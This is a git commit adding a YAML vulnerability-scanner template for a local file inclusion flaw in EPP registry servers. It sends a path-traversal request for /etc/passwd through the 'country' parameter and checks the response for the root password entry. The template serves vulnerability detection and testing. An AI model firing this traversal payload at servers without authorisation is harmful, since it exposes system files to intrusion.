Create epp-server-lfi.yaml

patch-1
Dhiyaneshwaran 2023-06-13 13:03:41 +05:30 committed by GitHub
parent 336f9ed875
commit f8210e87d2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 33 additions and 0 deletions

View File

@ -0,0 +1,33 @@
id: epp-server-lfi
info:
name: EPP Server LFI
author: DhiyaneshDK
severity: high
description: |
servlet called "CitiesServlet" that handles HTTP GET requests, so the user-provided input, obtained from the country parameter, is directly concatenated with the "/cities/cities_" string to form the fileName, This means an attacker can manipulate the country parameter and potentially access arbitrary files on the server's file system
reference:
- https://hackcompute.com/hacking-epp-servers/
metadata:
max-request: 1
tags: epp,cocca,registry
http:
- method: GET
path:
- "{{BaseURL}}/cities?country=/../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- application/json
- type: status
status:
- 200